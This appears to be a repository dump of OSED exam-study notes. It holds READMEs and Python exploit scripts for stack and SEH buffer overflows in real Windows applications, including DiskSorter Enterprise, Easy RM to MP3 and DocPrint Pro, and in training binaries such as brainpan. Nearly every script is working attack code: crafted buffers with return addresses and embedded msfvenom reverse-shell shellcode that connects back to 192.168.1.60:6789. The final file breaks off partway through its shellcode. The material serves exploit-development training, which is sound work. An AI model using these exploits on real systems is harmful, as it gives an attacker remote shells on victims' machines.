├── 1.stack_overflow
    ├── DiskSorterEnterprise_9.5.12
    │   ├── README.md
    │   └── exploit.py
    ├── EasyRMtoMP3Converter
    │   ├── README.md
    │   └── exploit.py
    ├── README.md
    ├── brainpain
    │   ├── README.md
    │   ├── brainpan.exe
    │   └── exploit.py
    └── dostackbufferoverflowgood
    │   ├── README.md
    │   ├── dostackbufferoverflowgood.exe
    │   └── exploit.py
├── 2.seh-overflow
    ├── DocPrintPro_8.0
    │   ├── README.md
    │   └── exploit.py
    ├── EFSEasyChatServer_3.1
    │   ├── README.md
    │   └── exploit.py
    ├── EasyFileSharingWebServer_7.2
    │   ├── README.md
    │   └── exploit.py
    ├── README.md
    └── vulnserver-GMON
    │   ├── README.md
    │   ├── exploit.py
    │   └── vulnserver.exe
├── 3.egghunter
    ├── README.md
    ├── Sysax_5.53
    │   ├── README.md
    │   └── exploit.py
    ├── TFTPServer_1.4
    │   ├── README.md
    │   └── exploit.py
    ├── Vulnserver_GMON
    │   ├── README.md
    │   └── exploit.py
    ├── Vulnserver_KSTET
    │   ├── README.md
    │   └── exploit.py
    └── freeFTPd_1.0.10
    │   ├── README.md
    │   └── exploit.py
├── 5.dep_bypass
    ├── CloudMe_1.11.2
    │   ├── README.md
    │   ├── exploit.py
    │   ├── exploit_virtualalloc.py
    │   └── exploit_wpm.py
    ├── Disk_Sorter_Enterprise_9.5.12
    │   └── exploit_virtualalloc.py
    ├── EasyFileSharingWebServer_7.2
    │   ├── README.md
    │   ├── exploit_virtualprotect.py
    │   └── exploit_wpm.py
    ├── EasyRMtoMp3_2.7.3.700
    │   ├── README.md
    │   └── exploit.py
    ├── Mini-streamRM-MP3Converter_3.1.2.1
    │   ├── README.md
    │   └── exploit.py
    ├── README.md
    ├── VUPlayer_2.49
    │   ├── README.md
    │   └── exploit_virtualprotect.py
    └── Vulnserver_TRUN
    │   ├── README.md
    │   ├── exploit.py
    │   └── exploit2.py
├── 6.asrl_enabled
    ├── Easy File Sharing_7.2
    │   ├── README.md
    │   └── exploit.py
    ├── QuoteDB
    │   ├── README.md
    │   └── exploit.py
    ├── README.md
    ├── Rainbow2
    │   ├── README.md
    │   └── exploit_wpm.py
    ├── Sync_Breeze_version_10.0.28
    │   ├── README.md
    │   ├── exploit.py
    │   └── exploit_with_writeprocessmemory.py
    └── custom
    │   ├── README.md
    │   ├── exploit_wpm.py
    │   └── server.exe
├── 7.format_strings
    └── README.md
└── README.md


/1.stack_overflow/DiskSorterEnterprise_9.5.12/README.md:
--------------------------------------------------------------------------------
 1 | # DiskSorterEnterprise_9.5.12
 2 | Downloaded from: https://www.exploit-db.com/exploits/41771
 3 | 
 4 | Vulnerable function: Command -> Import Command
 5 | 
 6 | ## Initial Crash
 7 | ```py
 8 | import os,struct
 9 | 
10 | CRASH_LEN = 5000  # change me
11 | 
12 | payload = "A" * CRASH_LEN
13 | 
14 | #FILE
15 | file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
16 | 
17 | f = open('Exploit.xml', 'w')
18 | f.write(file)
19 | f.close()
20 | ```
21 | 


--------------------------------------------------------------------------------
/1.stack_overflow/DiskSorterEnterprise_9.5.12/exploit.py:
--------------------------------------------------------------------------------
 1 | import os,struct
 2 | 
 3 | CRASH_LEN = 5000  # change me
 4 | OFFSET = 1536
 5 | 
 6 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x27' EXITFUNC=thread
 7 | shellcode =  b""
 8 | shellcode += b"\xb8\x73\x01\x43\xaf\xda\xd0\xd9\x74\x24\xf4"
 9 | shellcode += b"\x5f\x29\xc9\xb1\x52\x83\xef\xfc\x31\x47\x0e"
10 | shellcode += b"\x03\x34\x0f\xa1\x5a\x46\xe7\xa7\xa5\xb6\xf8"
11 | shellcode += b"\xc7\x2c\x53\xc9\xc7\x4b\x10\x7a\xf8\x18\x74"
12 | shellcode += b"\x77\x73\x4c\x6c\x0c\xf1\x59\x83\xa5\xbc\xbf"
13 | shellcode += b"\xaa\x36\xec\xfc\xad\xb4\xef\xd0\x0d\x84\x3f"
14 | shellcode += b"\x25\x4c\xc1\x22\xc4\x1c\x9a\x29\x7b\xb0\xaf"
15 | shellcode += b"\x64\x40\x3b\xe3\x69\xc0\xd8\xb4\x88\xe1\x4f"
16 | shellcode += b"\xce\xd2\x21\x6e\x03\x6f\x68\x68\x40\x4a\x22"
17 | shellcode += b"\x03\xb2\x20\xb5\xc5\x8a\xc9\x1a\x28\x23\x38"
18 | shellcode += b"\x62\x6d\x84\xa3\x11\x87\xf6\x5e\x22\x5c\x84"
19 | shellcode += b"\x84\xa7\x46\x2e\x4e\x1f\xa2\xce\x83\xc6\x21"
20 | shellcode += b"\xdc\x68\x8c\x6d\xc1\x6f\x41\x06\xfd\xe4\x64"
21 | shellcode += b"\xc8\x77\xbe\x42\xcc\xdc\x64\xea\x55\xb9\xcb"
22 | shellcode += b"\x13\x85\x62\xb3\xb1\xce\x8f\xa0\xcb\x8d\xc7"
23 | shellcode += b"\x05\xe6\x2d\x18\x02\x71\x5e\x2a\x8d\x29\xc8"
24 | shellcode += b"\x06\x46\xf4\x0f\x68\x7d\x40\x9f\x97\x7e\xb1"
25 | shellcode += b"\xb6\x53\x2a\xe1\xa0\x72\x53\x6a\x30\x7a\x86"
26 | shellcode += b"\x3d\x60\xd4\x79\xfe\xd0\x94\x29\x96\x3a\x1b"
27 | shellcode += b"\x15\x86\x45\xf1\x3e\x2d\xbc\x92\x80\x1a\xbf"
28 | shellcode += b"\x5e\x69\x59\xbf\x84\xec\xd4\x59\xd2\xfe\xb0"
29 | shellcode += b"\xf2\x4b\x66\x99\x88\xea\x67\x37\xf5\x2d\xe3"
30 | shellcode += b"\xb4\x0a\xe3\x04\xb0\x18\x94\xe4\x8f\x42\x33"
31 | shellcode += b"\xfa\x25\xea\xdf\x69\xa2\xea\x96\x91\x7d\xbd"
32 | shellcode += b"\xff\x64\x74\x2b\x12\xde\x2e\x49\xef\x86\x09"
33 | shellcode += b"\xc9\x34\x7b\x97\xd0\xb9\xc7\xb3\xc2\x07\xc7"
34 | shellcode += b"\xff\xb6\xd7\x9e\xa9\x60\x9e\x48\x18\xda\x48"
35 | shellcode += b"\x26\xf2\x8a\x0d\x04\xc5\xcc\x11\x41\xb3\x30"
36 | shellcode += b"\xa3\x3c\x82\x4f\x0c\xa9\x02\x28\x70\x49\xec"
37 | shellcode += b"\xe3\x30\x69\x0f\x21\x4d\x02\x96\xa0\xec\x4f"
38 | shellcode += b"\x29\x1f\x32\x76\xaa\x95\xcb\x8d\xb2\xdc\xce"
39 | shellcode += b"\xca\x74\x0d\xa3\x43\x11\x31\x10\x63\x30"
40 | 
41 | payload = b"A" * 1536
42 | payload += struct.pack("<I",0x651bb77a) # jmp esp
43 | payload += b"\x90" * 16
44 | payload += b"\x8d\x44\x24\x14" #lea eax,[esp+20]         
45 | payload += b"\xff\xe0" #jmp eax
46 | payload += b"\x90" * 14 
47 | payload += shellcode      
48 | payload += b"E" * (CRASH_LEN - len(payload))
49 | #FILE
50 | file= b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'
51 | 
52 | f = open('Exploit.xml', 'wb')
53 | f.write(file)
54 | f.close()
55 | 


--------------------------------------------------------------------------------
/1.stack_overflow/EasyRMtoMP3Converter/README.md:
--------------------------------------------------------------------------------
 1 | # EasyRMtoMP3Converter
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/10374
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | #!/usr/bin/python 
 9 | 
10 | file = "crash1.m3u"
11 | f = open(file , "w")
12 | 
13 | CRASH_LEN = 30000  # change me
14 | 
15 | junk = "A" * CRASH_LEN
16 | f.write(junk)
17 | f.close()
18 | ```
19 | 


--------------------------------------------------------------------------------
/1.stack_overflow/EasyRMtoMP3Converter/exploit.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python 
 2 | import struct
 3 | 
 4 | file = "crash1.m3u"
 5 | f = open(file , "wb")
 6 | 
 7 | CRASH_LEN = 30000  # change me
 8 | 
 9 | #\x00\x09\x0a
10 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0a' EXITFUNC=thread
11 | shellcode =  b""                                                                                                                                                                                                                           
12 | shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"                                                                                                                                                                               
13 | shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"                                                                                                                                                                               
14 | shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"                                                                                                                                                                               
15 | shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef"                                                                                                                                                                               
16 | shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8"                                                                                                                                                                               
17 | shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"                                                                                                                                                                               
18 | shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"                                                                                                                                                                               
19 | shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4"                                                                                                                                                                               
20 | shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
21 | shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
22 | shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
23 | shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
24 | shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
25 | shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
26 | shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
27 | shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
28 | shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
29 | shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
30 | shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
31 | shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
32 | shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
33 | shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
34 | shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
35 | shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
36 | shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
37 | shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
38 | shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
39 | shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
40 | shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
41 | shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
42 | shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
43 | shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"
44 | 
45 | payload = b"A" * 26043
46 | payload += struct.pack("<I",0x1001b058) #PUSH ESP; RET
47 | payload += b"\x90" * 4
48 | payload += b"\x90" * 20
49 | payload += shellcode
50 | payload += b"C" * (CRASH_LEN - len(payload))
51 | 
52 | f.write(payload)
53 | f.close()
54 | 


--------------------------------------------------------------------------------
/1.stack_overflow/README.md:
--------------------------------------------------------------------------------
 1 | # Stack Buffer Overflow (no DEP, no ASLR)
 2 | 
 3 | ## Step
 4 | 1. Find initial crash
 5 | 2. Find offset with:
 6 | ```py
 7 | !py mona pc XXX 
 8 | ```
 9 | 3. Find badchar:
10 | 
11 | ```py
12 | bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
13 | bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
14 | bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
15 | bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
16 | bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
17 | bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
18 | bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
19 | bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
20 | ```
21 | 
22 | 4. Exploit:
23 | 
24 | 	1. Is there a lot of space? 
25 | 	```py
26 | 	!py mona jmp -r esp -cpb '\x00' 
27 | 	```
28 | 	2. There isn't space?
29 | 		
30 | 		1.  Try with POP 32; RET and you will point to the Cs
31 | 		
32 | 		```py
33 | 		httpMethod = b"C" * 8 +  b" /" 
34 | 		inputBuffer = b"A" * 253 
35 | 		inputBuffer += pack("<I",0x00418674) #00418674 pop eax; ret
36 | 		httpEndRequest = b"\r\n\r\n" 
37 | 		```
38 | 		
39 | 		2. Try with Jump back
40 | 		
41 | 		```py
42 | 		buffer = b"\x90"*1672
43 | 		sub_esp = b"\x83\xEC\x64\x90" * 5 #ESP - 500, (sub esp 100*5)
44 | 		buffer += sub_esp
45 | 		buffer += shellcode
46 | 		buffer += b"\x90"*(388-len(shellcode))
47 | 		buffer += pack("<I", 0x1480113d) # : jmp esp 1480113d
48 | 		buffer += b"\x90"*3
49 | 		buffer += b"\xe9\x07\xfe\xff\xff" #jmp -500 E907FEFFFF
50 | 		buffer += b"D"* (total - len(buffer))
51 | 		```
52 | 		
53 | 		3. Look to the other registers. Are there any other near the payload?
54 | 		
55 | 		```py
56 | 		VULNSRVR_CMD = b"KSTET "  # change me
57 | 		size = 132  # change me
58 | 
59 | 		stage_one  = b"\x83\xc0\x06"   # add eax,byte +0x6
60 | 		stage_one += b"\xff\xe0"  # jmp eax
61 | 
62 | 		payload = VULNSRVR_CMD
63 | 		payload += b"A"*70
64 | 		payload += struct.pack("<I",0x62501203) #jmp esp 62501203
65 | 		payload += b"\x90" * 4
66 | 		payload += stage_one
67 | 		payload += b"C"*(size-len(payload))
68 | 		```
69 | 
70 | ## Resources
71 | 1. https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
72 | 2. https://epi052.gitlab.io/notes-to-self/blog/2020-05-13-osce-exam-practice-part-one/
73 | 3. https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/
74 | 4. https://www.bordergate.co.uk/dealing-with-small-buffer-space/
75 | 


--------------------------------------------------------------------------------
/1.stack_overflow/brainpain/README.md:
--------------------------------------------------------------------------------
 1 | # Brainpain
 2 | 
 3 | ## Initial Crash
 4 | 
 5 | ```py
 6 | import struct
 7 | import socket
 8 | 
 9 | TARGET_IP = "127.0.0.1"
10 | TARGET_PORT = 9999
11 | target = (TARGET_IP, TARGET_PORT) 
12 | 
13 | CRASH_LEN = 5000  # change me
14 | 
15 | payload = b"A" * CRASH_LEN
16 | 
17 | with socket.create_connection(target) as sock:
18 |     sock.recv(512) 
19 | 
20 |     sent = sock.send(payload)
21 |     print(f"sent {sent} bytes")
22 | 
23 | ```
24 | 


--------------------------------------------------------------------------------
/1.stack_overflow/brainpain/brainpan.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mrtouch93/OSED-Notes/fe06c98e792da083150d7428e556b95bd86a4e0c/1.stack_overflow/brainpain/brainpan.exe


--------------------------------------------------------------------------------
/1.stack_overflow/brainpain/exploit.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | import socket
 3 | 
 4 | TARGET_IP = "127.0.0.1"
 5 | TARGET_PORT = 9999
 6 | target = (TARGET_IP, TARGET_PORT) 
 7 | 
 8 | CRASH_LEN = 5000  # change me
 9 | OFFSET = 524
10 | 
11 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
12 | shellcode =  b""
13 | shellcode += b"\xdb\xd6\xd9\x74\x24\xf4\xbb\x4c\x44\x20\xf7"
14 | shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x5a\x17\x03\x5a\x17"
15 | shellcode += b"\x83\x8e\x40\xc2\x02\xf2\xa1\x80\xed\x0a\x32"
16 | shellcode += b"\xe5\x64\xef\x03\x25\x12\x64\x33\x95\x50\x28"
17 | shellcode += b"\xb8\x5e\x34\xd8\x4b\x12\x91\xef\xfc\x99\xc7"
18 | shellcode += b"\xde\xfd\xb2\x34\x41\x7e\xc9\x68\xa1\xbf\x02"
19 | shellcode += b"\x7d\xa0\xf8\x7f\x8c\xf0\x51\x0b\x23\xe4\xd6"
20 | shellcode += b"\x41\xf8\x8f\xa5\x44\x78\x6c\x7d\x66\xa9\x23"
21 | shellcode += b"\xf5\x31\x69\xc2\xda\x49\x20\xdc\x3f\x77\xfa"
22 | shellcode += b"\x57\x8b\x03\xfd\xb1\xc5\xec\x52\xfc\xe9\x1e"
23 | shellcode += b"\xaa\x39\xcd\xc0\xd9\x33\x2d\x7c\xda\x80\x4f"
24 | shellcode += b"\x5a\x6f\x12\xf7\x29\xd7\xfe\x09\xfd\x8e\x75"
25 | shellcode += b"\x05\x4a\xc4\xd1\x0a\x4d\x09\x6a\x36\xc6\xac"
26 | shellcode += b"\xbc\xbe\x9c\x8a\x18\x9a\x47\xb2\x39\x46\x29"
27 | shellcode += b"\xcb\x59\x29\x96\x69\x12\xc4\xc3\x03\x79\x81"
28 | shellcode += b"\x20\x2e\x81\x51\x2f\x39\xf2\x63\xf0\x91\x9c"
29 | shellcode += b"\xcf\x79\x3c\x5b\x2f\x50\xf8\xf3\xce\x5b\xf9"
30 | shellcode += b"\xda\x14\x0f\xa9\x74\xbc\x30\x22\x84\x41\xe5"
31 | shellcode += b"\xe5\xd4\xed\x56\x46\x84\x4d\x07\x2e\xce\x41"
32 | shellcode += b"\x78\x4e\xf1\x8b\x11\xe5\x08\x5c\xde\x52\x13"
33 | shellcode += b"\xa0\xb6\xa0\x13\xc2\xc3\x2c\xf5\x98\xdb\x78"
34 | shellcode += b"\xae\x34\x45\x21\x24\xa4\x8a\xff\x41\xe6\x01"
35 | shellcode += b"\x0c\xb6\xa9\xe1\x79\xa4\x5e\x02\x34\x96\xc9"
36 | shellcode += b"\x1d\xe2\xbe\x96\x8c\x69\x3e\xd0\xac\x25\x69"
37 | shellcode += b"\xb5\x03\x3c\xff\x2b\x3d\x96\x1d\xb6\xdb\xd1"
38 | shellcode += b"\xa5\x6d\x18\xdf\x24\xe3\x24\xfb\x36\x3d\xa4"
39 | shellcode += b"\x47\x62\x91\xf3\x11\xdc\x57\xaa\xd3\xb6\x01"
40 | shellcode += b"\x01\xba\x5e\xd7\x69\x7d\x18\xd8\xa7\x0b\xc4"
41 | shellcode += b"\x69\x1e\x4a\xfb\x46\xf6\x5a\x84\xba\x66\xa4"
42 | shellcode += b"\x5f\x7f\x86\x47\x75\x8a\x2f\xde\x1c\x37\x32"
43 | shellcode += b"\xe1\xcb\x74\x4b\x62\xf9\x04\xa8\x7a\x88\x01"
44 | shellcode += b"\xf4\x3c\x61\x78\x65\xa9\x85\x2f\x86\xf8"
45 | 
46 | 
47 | payload = b"A" * OFFSET
48 | payload += struct.pack("<I",0x311712f3) # JMP ESP
49 | payload += b"\x90" * 10
50 | payload += shellcode
51 | payload += b"C" * (CRASH_LEN - len(payload))
52 | 
53 | with socket.create_connection(target) as sock:
54 |     sock.recv(512) 
55 | 
56 |     sent = sock.send(payload)
57 |     print(f"sent {sent} bytes")
58 | 


--------------------------------------------------------------------------------
/1.stack_overflow/dostackbufferoverflowgood/README.md:
--------------------------------------------------------------------------------
 1 | # dostackbufferoverflowgood
 2 | 
 3 | ## Initial Crash
 4 | 
 5 | ```py
 6 | import struct
 7 | import socket
 8 | 
 9 | TARGET_IP = "127.0.0.1"
10 | TARGET_PORT = 31337
11 | target = (TARGET_IP, TARGET_PORT) 
12 | 
13 | CRASH_LEN = 500  # change me
14 | 
15 | payload = b"A" * CRASH_LEN
16 | payload += b"\n"
17 | 
18 | with socket.create_connection(target) as sock:
19 |     sent = sock.send(payload)
20 |     print(f"sent {sent} bytes")
21 | ```
22 | 
23 | 


--------------------------------------------------------------------------------
/1.stack_overflow/dostackbufferoverflowgood/dostackbufferoverflowgood.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mrtouch93/OSED-Notes/fe06c98e792da083150d7428e556b95bd86a4e0c/1.stack_overflow/dostackbufferoverflowgood/dostackbufferoverflowgood.exe


--------------------------------------------------------------------------------
/1.stack_overflow/dostackbufferoverflowgood/exploit.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | import socket
 3 | 
 4 | TARGET_IP = "127.0.0.1"
 5 | TARGET_PORT = 31337
 6 | target = (TARGET_IP, TARGET_PORT) 
 7 | 
 8 | CRASH_LEN = 500  # change me
 9 | offset = 146
10 | 
11 | #\x00\x0a
12 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x0a' EXITFUNC=thread
13 | shellcode =  b""
14 | shellcode += b"\xda\xdc\xbd\x42\xf2\xbf\xae\xd9\x74\x24\xf4"
15 | shellcode += b"\x5e\x31\xc9\xb1\x52\x31\x6e\x17\x83\xc6\x04"
16 | shellcode += b"\x03\x2c\xe1\x5d\x5b\x4c\xed\x20\xa4\xac\xee"
17 | shellcode += b"\x44\x2c\x49\xdf\x44\x4a\x1a\x70\x75\x18\x4e"
18 | shellcode += b"\x7d\xfe\x4c\x7a\xf6\x72\x59\x8d\xbf\x39\xbf"
19 | shellcode += b"\xa0\x40\x11\x83\xa3\xc2\x68\xd0\x03\xfa\xa2"
20 | shellcode += b"\x25\x42\x3b\xde\xc4\x16\x94\x94\x7b\x86\x91"
21 | shellcode += b"\xe1\x47\x2d\xe9\xe4\xcf\xd2\xba\x07\xe1\x45"
22 | shellcode += b"\xb0\x51\x21\x64\x15\xea\x68\x7e\x7a\xd7\x23"
23 | shellcode += b"\xf5\x48\xa3\xb5\xdf\x80\x4c\x19\x1e\x2d\xbf"
24 | shellcode += b"\x63\x67\x8a\x20\x16\x91\xe8\xdd\x21\x66\x92"
25 | shellcode += b"\x39\xa7\x7c\x34\xc9\x1f\x58\xc4\x1e\xf9\x2b"
26 | shellcode += b"\xca\xeb\x8d\x73\xcf\xea\x42\x08\xeb\x67\x65"
27 | shellcode += b"\xde\x7d\x33\x42\xfa\x26\xe7\xeb\x5b\x83\x46"
28 | shellcode += b"\x13\xbb\x6c\x36\xb1\xb0\x81\x23\xc8\x9b\xcd"
29 | shellcode += b"\x80\xe1\x23\x0e\x8f\x72\x50\x3c\x10\x29\xfe"
30 | shellcode += b"\x0c\xd9\xf7\xf9\x73\xf0\x40\x95\x8d\xfb\xb0"
31 | shellcode += b"\xbc\x49\xaf\xe0\xd6\x78\xd0\x6a\x26\x84\x05"
32 | shellcode += b"\x3c\x76\x2a\xf6\xfd\x26\x8a\xa6\x95\x2c\x05"
33 | shellcode += b"\x98\x86\x4f\xcf\xb1\x2d\xaa\x98\x7d\x19\xb5"
34 | shellcode += b"\x64\x16\x58\xb5\x8e\x63\xd5\x53\xc4\x7b\xb0"
35 | shellcode += b"\xcc\x71\xe5\x99\x86\xe0\xea\x37\xe3\x23\x60"
36 | shellcode += b"\xb4\x14\xed\x81\xb1\x06\x9a\x61\x8c\x74\x0d"
37 | shellcode += b"\x7d\x3a\x10\xd1\xec\xa1\xe0\x9c\x0c\x7e\xb7"
38 | shellcode += b"\xc9\xe3\x77\x5d\xe4\x5a\x2e\x43\xf5\x3b\x09"
39 | shellcode += b"\xc7\x22\xf8\x94\xc6\xa7\x44\xb3\xd8\x71\x44"
40 | shellcode += b"\xff\x8c\x2d\x13\xa9\x7a\x88\xcd\x1b\xd4\x42"
41 | shellcode += b"\xa1\xf5\xb0\x13\x89\xc5\xc6\x1b\xc4\xb3\x26"
42 | shellcode += b"\xad\xb1\x85\x59\x02\x56\x02\x22\x7e\xc6\xed"
43 | shellcode += b"\xf9\x3a\xe6\x0f\x2b\x37\x8f\x89\xbe\xfa\xd2"
44 | shellcode += b"\x29\x15\x38\xeb\xa9\x9f\xc1\x08\xb1\xea\xc4"
45 | shellcode += b"\x55\x75\x07\xb5\xc6\x10\x27\x6a\xe6\x30"
46 | 
47 | 
48 | payload = b"A" * offset
49 | payload += struct.pack("<I",0x080414c3) #JMP ESP
50 | payload += b"\x90" * 10
51 | payload += shellcode
52 | payload += b"C" * (CRASH_LEN - len(payload))
53 | payload += b"\n"
54 | 
55 | with socket.create_connection(target) as sock:
56 |     sent = sock.send(payload)
57 |     print(f"sent {sent} bytes")
58 | 


--------------------------------------------------------------------------------
/2.seh-overflow/DocPrintPro_8.0/README.md:
--------------------------------------------------------------------------------
 1 | # DocPrint Pro 8.0
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/apps/560e231d212fdaef8e52471f94a5f014-docprint_pro_setup.exe
 4 | 
 5 | Vulnerable function: File -> Add URL
 6 | 
 7 | ## Initial Crash
 8 | ```py
 9 | #!/usr/bin/python 
10 | 
11 | file = "file.txt"
12 | f = open(file , "w")
13 | 
14 | CRASH_LEN = 10000  # change me
15 | 
16 | junk = "A" * CRASH_LEN
17 | f.write(junk)
18 | f.close()
19 | ```
20 | 


--------------------------------------------------------------------------------
/2.seh-overflow/DocPrintPro_8.0/exploit.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python 
 2 | import struct
 3 | 
 4 | file = "file.txt"
 5 | f = open(file , "wb")
 6 | 
 7 | CRASH_LEN = 10000  # change me
 8 | OFFSET = 3876
 9 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' EXITFUNC=thread
10 | shellcode =  b""
11 | shellcode += b"\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81"
12 | shellcode += b"\x73\x13\xbc\x93\x25\x97\x83\xeb\xfc\xe2\xf4"
13 | shellcode += b"\x40\x7b\xa7\x97\xbc\x93\x45\x1e\x59\xa2\xe5"
14 | shellcode += b"\xf3\x37\xc3\x15\x1c\xee\x9f\xae\xc5\xa8\x18"
15 | shellcode += b"\x57\xbf\xb3\x24\x6f\xb1\x8d\x6c\x89\xab\xdd"
16 | shellcode += b"\xef\x27\xbb\x9c\x52\xea\x9a\xbd\x54\xc7\x65"
17 | shellcode += b"\xee\xc4\xae\xc5\xac\x18\x6f\xab\x37\xdf\x34"
18 | shellcode += b"\xef\x5f\xdb\x24\x46\xed\x18\x7c\xb7\xbd\x40"
19 | shellcode += b"\xae\xde\xa4\x70\x1f\xde\x37\xa7\xae\x96\x6a"
20 | shellcode += b"\xa2\xda\x3b\x7d\x5c\x28\x96\x7b\xab\xc5\xe2"
21 | shellcode += b"\x4a\x90\x58\x6f\x87\xee\x01\xe2\x58\xcb\xae"
22 | shellcode += b"\xcf\x98\x92\xf6\xf1\x37\x9f\x6e\x1c\xe4\x8f"
23 | shellcode += b"\x24\x44\x37\x97\xae\x96\x6c\x1a\x61\xb3\x98"
24 | shellcode += b"\xc8\x7e\xf6\xe5\xc9\x74\x68\x5c\xcc\x7a\xcd"
25 | shellcode += b"\x37\x81\xce\x1a\xe1\xfb\x16\xa5\xbc\x93\x4d"
26 | shellcode += b"\xe0\xcf\xa1\x7a\xc3\xd4\xdf\x52\xb1\xbb\x6c"
27 | shellcode += b"\xf0\x2f\x2c\x92\x25\x97\x95\x57\x71\xc7\xd4"
